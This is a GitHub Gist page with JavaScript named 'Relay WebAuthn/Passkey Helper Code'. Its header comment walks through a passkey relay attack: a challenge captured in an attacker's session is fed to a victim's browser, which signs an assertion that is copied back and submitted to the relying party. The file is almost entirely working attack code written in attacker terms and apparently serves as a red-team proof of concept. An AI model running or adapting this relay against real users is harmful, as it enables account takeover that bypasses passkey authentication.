Created
August 25, 2025 17:59
-
-
Save joswr1ght/ec3f73f8745916661e2432b50ae2ead7 to your computer and use it in GitHub Desktop.
Relay WebAuthn/Passkey Helper Code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * WebAuthn Assertion Relay Helper | |
| * | |
| * Usage: | |
| * 1. From your attacker session at https://target-rp.tgt/login, | |
| * capture the "publicKey" JSON challenge the RP sends. | |
| * 2. Send that JSON blob (as text) to the victim browser console as publicKeyJSON. | |
| * 3. Paste this helper, then call: getAssertion(publicKeyJSON). | |
| * 4. Copy the printed output (JSON with base64url fields) back | |
| * to your attacker machine. | |
| * 5. POST it to the RP’s /assertion endpoint using the same session | |
| * that issued the challenge. | |
| * | |
| * CAUTION: This only relays signatures. It does NOT extract private keys. | |
| */ | |
| // ---- Base64url helpers (binary <-> string) ---- | |
| const b64u = { | |
| enc: buf => btoa(String.fromCharCode(...new Uint8Array(buf))) | |
| .replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/,''), | |
| dec: str => Uint8Array.from(atob(str.replace(/-/g,'+').replace(/_/g,'/')), | |
| c => c.charCodeAt(0)) | |
| }; | |
| // ---- Inflate RP-supplied publicKey options (from attacker session) ---- | |
| function inflatePublicKeyOptions(pkJson) { | |
| const pk = structuredClone(pkJson); | |
| // Convert challenge | |
| pk.challenge = b64u.dec(pk.challenge); | |
| // Convert allowCredentials IDs if present | |
| if (pk.allowCredentials) { | |
| pk.allowCredentials = pk.allowCredentials.map(c => ({ | |
| ...c, | |
| id: b64u.dec(c.id) | |
| })); | |
| } | |
| return pk; | |
| } | |
| // ---- Flatten a credential to JSON-safe output ---- | |
| function flattenAssertion(cred) { | |
| const resp = cred.response; | |
| return { | |
| id: cred.id, | |
| rawId: b64u.enc(cred.rawId), | |
| type: cred.type, | |
| response: { | |
| authenticatorData: b64u.enc(resp.authenticatorData), | |
| clientDataJSON: b64u.enc(resp.clientDataJSON), | |
| signature: b64u.enc(resp.signature), | |
| userHandle: resp.userHandle ? b64u.enc(resp.userHandle) : null | |
| }, | |
| clientExtensionResults: cred.getClientExtensionResults?.() || {} | |
| }; | |
| } | |
| // ---- Main entry point: call this with your captured challenge ---- | |
| async function getAssertion(publicKeyJSON) { | |
| try { | |
| const options = inflatePublicKeyOptions(publicKeyJSON); | |
| console.log("[*] Requesting assertion with options:", options); | |
| const cred = await navigator.credentials.get({ publicKey: options }); | |
| const flat = flattenAssertion(cred); | |
| console.log("[*] Assertion ready. Copy this JSON back to your relay:"); | |
| console.log(JSON.stringify(flat, null, 2)); | |
| return flat; | |
| } catch (err) { | |
| console.error("[!] Assertion failed:", err); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment